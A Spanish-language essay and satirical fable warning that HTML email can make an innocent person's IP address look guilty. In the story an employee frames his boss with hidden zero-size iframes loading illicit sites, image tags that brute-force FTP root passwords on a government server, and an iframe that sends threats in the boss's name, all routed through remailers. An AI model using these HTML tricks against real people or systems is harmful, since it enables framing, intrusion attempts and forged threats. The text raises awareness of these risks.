No se trata de explotar vulnerabilidades de seguridad sino tan solo de utilizar las funcionalidades estándar del correo electrónico que nos ofrecen casi todos los fabricantes de Software, es decir que todos los programas de correo que aceptan presentación HTML son susceptibles de sufrir este tipo de ataques que a mi juicio son muchísimo más graves que cualquier virus o troyano conocidos o por conocer.
El problema radica en que una dirección IP es utilizada como principal prueba incriminatoria siempre que se comete un delito en la red. Normalmente esta incriminación es razonable pero sin embargo existen las posibilidades mencionadas en la fábula que se acompaña según las cuales, en Internet, la dirección IP de cualquiera de nosotros puede ser aparentemente responsable de los delitos más execrables.
¿Las causas? Un
incorrecto y obsoleto diseño
de la tecnología utilizada
en Internet. Las que
llamamos "nuevas
tecnologías" (basadas en
protocolos TCP/IP) fueron
inventadadas hace ya 30 años
y desde el punto de vista de
la seguridad fueron
diseñadas para ser usadas
tan solo entre caballeros.
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ATAQUES CONTRA EL HONOR
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PREFACIO
Los hechos que voy a relatar
son en principio
ficticios, pero puede que ya
hayan ocurrido, o que
ocurran dentro de muy poco
tiempo. Incluso puede que
tú, inocente Internauta,
estés siendo ya víctima
mientras estás leyendo estas
líneas de las maldades que
voy a relatar a
continuación.
Tal y como últimamente se
suele hacer cuando alguien
publica maldades, incluyo la
tradicional CLAÚSULA DE NO
RESPONSABILIDAD: "No me
considero responsable del
uso que se haga de esta
fábula que, como todas las
fábulas, se publica tan sólo
con fines educativos".
Además de lo dicho, confío y
espero que ningún lector
haga uso de los métodos que
voy a describir a
continuación. Y, por
supuesto, nadie puede
esperar ni demandar de mí
ningún tipo de
asesoramiento, ayuda o
información adicional, que
tenga por objeto
materializar lo aquí
expuesto.
EDISODIO PRIMERO
Mi nombre es Nero, Pancracio
Nero. Trabajo para la
reconocida compañía
multinacional RCICSTS (Real
Compañía Internacional de
Cecinas y Salazones de
Tañabueyes de la Sierra).
La RCICSTS, como empresa
moderna y eficaz, hace ya
años que permitió el acceso
a Internet de sus empleados.
Sin embargo, los gurús del
cuartel general de la
empresa decidieron instalar
un sofisticado software
denominado "Sistema de
Control de Uso de Internet
por Empleados" (SCUIE).
Hace unas semanas, fui
víctima de dicho sistema. Mi
jefe, Don Inocencio, recibió
un correo electrónico,
generado tomáticamente por
el SCUIE, en el que se
indicaba que yo estaba
haciendo un uso abusivo de
la red, puesto que, durante
el último mes, había estado
accediendo a un promedio de
5.678 páginas diarias.
D. Inocencio me citó en su
despacho para echarme una
gran bronca. Yo traté de
buscarme una buena coartada,
en base a que últimamente
estaba investigando un nuevo
método sobre la curación de
jamones de avestruz con
sabor a jamón de jabugo, lo
cual me obligaba a arduos
esfuerzos de navegación para
controlar a la posible
competencia en el negocio.
Mi coartada no resultó muy
convicente , puesto que el
sistema SCUIE había generado
un informe en el que se
demostraba que mis, en
promedio diario, 5.678
páginas visitadas no tenían
ninguna relación con el
negocio de la RCICSTS. Dado
que el departamento de
personal de la empresa
estaba también al corriente
del asunto, y exigía un
castigo ejemplar, Don
Inocencio decidió cancelar
mi acceso a Internet.
Don Inocencio nunca me había
caído muy bien, y el castigo
a que me había sometido creó
en mí un sentimiento de odio
que inexorablemente me
impulsaba a la venganza.
En la empresa, era un hecho
conocido que el sistema
SCUIE incluía también un
mecanismo de chivatos para
las visitas a sitios
Internet "indecentes", así
que decidí utilizar esta
circunstancia para vengarme
de Don Inocencio.
Durante una noche insomne
(debida al odio que
albergaba contra mi jefe) me
senté frente a mi ordenador
casero y comencé a preparar
un malévolo mensaje de
correo para Don Inocencio.
El objetivo de dicho mensaje
era hundirle en el
descrédito.
Primero, necesitaba componer
un mensaje que fuera leído
por mi víctima. En los
tiempos que corren, con
tanto correo no solicitado
circulando por el
ciberespacio, se necesita
ser cuidadoso para
asegurarse de que alguien
lea un correo. Mi formación
en Ingeniería Social me hizo
encontrar rápidamente una
solución al problema. Como
mi jefe era persona muy
versada en temas de golf,
puse a mi mensaje un
encabezamiento infalible:
"Nuevo utillaje disponible
tan sólo para los buenos
jugadores de golf". Como
remitente, puse también una
dirección convincente:
info@golf-champions.com
En el cuerpo del mensaje
puse cuatro imbecilidades
sobre un nuevo modelo de
calzoncillos inerciales, que
facilita el movimiento de
caderas que precede al
golpeo de la bola.
Pero lo más importante es
que, dentro del código HTML
de dichas imbecilidades,
puse cosas como:
<iframe src='http://www.sexofuerte.com'
width=0 height=0> </iframe>
<iframe src='http://www.solopedofilos.com'
width=0 height=0>
</iframe>
<iframe src='http://www.degenerados.com'
width=0 height=0> </iframe>
Etc,etc,etc...
Por último, y para no dejar
pistas, envié el mensaje
usando una página bielorrusa
que permite el envío de
correo. No contento con eso,
utilicé además un par de
sitios de reenvío (remailers),
que hacen prácticamente
imposible la deducción del
origen del mismo.
Poco después de pulsar el
botón de envío de correo,
conseguí volver a conciliar
el sueño.
EPISODIO SEGUNDO
¿Cuáles fueron los efectos
de mi acción?
Al día siguiente, ya en la
oficina, pude comprobar con
deleite como mi jefe era
llamado al despacho del Jefe
de Personal (Director de
Recursos Humanos, según la
terminología al uso). La
encerrona duró casi una hora
y cuando Don Inocencio
regresó a su despacho, su
cara confirmó la eficacia de
mi siniestro plan. El
sistema de control SCUIE
había detectado que un
empleado llamado Inocencio
se dedicaba a visitar sitios
"inapropiados" de Internet
durante las horas de
trabajo.
Durante un par de días mi
jefe anduvo cabizbajo, con
cara de colegial de los
Padres Jesuitas sorprendido
in-fraganti por el Padre
Prefecto fumando en el WC.
Comprendí entonces que mi
plan había funcionado. Sin
embargo, deduje que Don
Incocencio había conseguido
parar de alguna forma el
golpe, y que no se habían
tomado medidas
disciplinarias contra él. Mi
malévolo cerebro se puso
inmediatamente a maquinar la
segunda fase mi plan.
Nuevamente recurrí al correo
electrónico, empleando las
mismas técnicas utilizadas
en mi ataque anterior. Sin
embargo, en este caso el
mensaje de correo contenía
unas líneas de código HTML
como:
<image src='ftp://root:aaaaaa@www.the-moncloa.gov'
width=0 height=0>
<image src='ftp://root:aaaaab@www.the-moncloa.gov'
' width=0 height=0>
Etc,etc,etc...
Según mis cálculos, unos
cuantos cientos de líneas de
este estilo harían saltar
las alarmas de cualquier
sitio decentemente
protegido, ya que mi ataque
(o, mejor dicho, el de D.
Inocencio), parecería un
intento de acceso por fuerza
bruta.
El efecto de esta nueva
acción fue menos inmediato,
pero mucho más duro que el
del golpe anterior.
Al cabo de tres días, el
Jefe de Personal se presentó
en el despacho de mi Jefe
acompañado de dos
desconocidos, que a mí me
parecieron miembros de algún
Cuerpo (o quizá Fuerza) de
Seguridad del Estado.Pocos
minutos después, Don
Inocencio salió de la
oficina, seguido de cerca
por los dos desconocidos.
Cuando, pasados tres días,
volvió a aparecer por la
oficina, su persona
presentaba el aspecto de un
hombre que hubiera sufrido
grandes desdichas
espirituales. Por la oficina
corría el rumor de que Don
Inocencio había sido
procesado bajo acusación de
intento de acceso ilegal a
los sistemas de Información
de la Presidencia del
Gobierno de España.
EPISODIO TERCERO
El rumor resultó ser cierto.
Sin embargo, Don Inocencio
(que era yerno del difunto
Don Guillermo Cisternas,
anterior dueño de la
RCICSTS, Real Compañía
Internacional de Cecinas y
Salazones de Tañabueyes de
la Sierra), y para no dar
motivos de escándalo
público, no fue despedido de
su puesto, en contra de la
opinión del Jefe de
Personal. Don Inocencio
contrató al mejor abogado de
las causas perdidas (llamado
Don Carlos Mediala) y, a
pesar de las evidencias en
su contra, salió bien parado
del asunto.
No hará falta decir aquí que
mi deseo de venganza se
acrecentó ante el fracaso de
mi segundo intento. Fue
entonces cuando me decidí a
utilizar la solución final.
Yo creía haber demostrado
que mi Jefe era un
degenerado sexual, y un
traidor a la patria que
robaba información de
nuestra Presidencia del
Gobierno, pero todo ello
parecía no haber resultado
suficiente para acabar con
la poca reputación que le
quedaba a Don Inocencio. Por
otro lado, gracias al diablo
y a la poca perspicacia de
los investigadores, mis dos
ataques anteriores no habían
sido descubiertos, así que
decidí seguir utilizando el
correo electrónico como mi
personal arma letal para
cargarme a mi odiado Jefe.
Mi nuevo intento debía ser
más expeditivo así que
decidí enviar un correo con
el siguiente código HTML:
<iframe
src='http://www.haysitios.com/cgi-bin/enviar
origen=Inocencio@RCICSTS.com
mailto:destino=su-majestad@the-zarzuela.es
Asunto=Voy a acabar
contigo
Mensaje= --Aquí amenazas
de grueso calibre--
width=0 height=0>
</iframe>
Justo cuando Don Inocencio
realizaba la habitual
lectura matutina de su
correo electrónico, se
recibió en la Jefatura del
Estado un mensaje amenazante
y lleno de injurias. El
castigo por dicho delito era
de seis años de prisión.
Ya no odio a Don Inocencio.
Mi venganza se ha realizado.
Todos los primeros sábados
de cada mes viajo a Santoña,
y en la prisión de El Dueso,
visito a mi ex-jefe, le
aporto consuelo en su
desgracia y le regalo un par
de kilos de morcillas de
Burgos, que sirven para
aliviar sus penas.
Por cierto: mi pequeña falta
quedó olvidada, y estoy
escribiendo todo esto en
horas de trabajo, y mientras
ocupo el despacho de Don
Inocencio en la Real
Compañía Internacional de
Cecinas y Salazones de
Tañabueyes de la Sierra.
Incluso me hecho novio de la
hija de D. Inocencio y si
las cosas discurren según
mis cálculos espero ser el
dueño de la empresa al día
siguiente de mi boda,
programada para celebrar la
próxima concesión del tercer
grado penitenciario a mi
futuro suegro D. Inocencio.



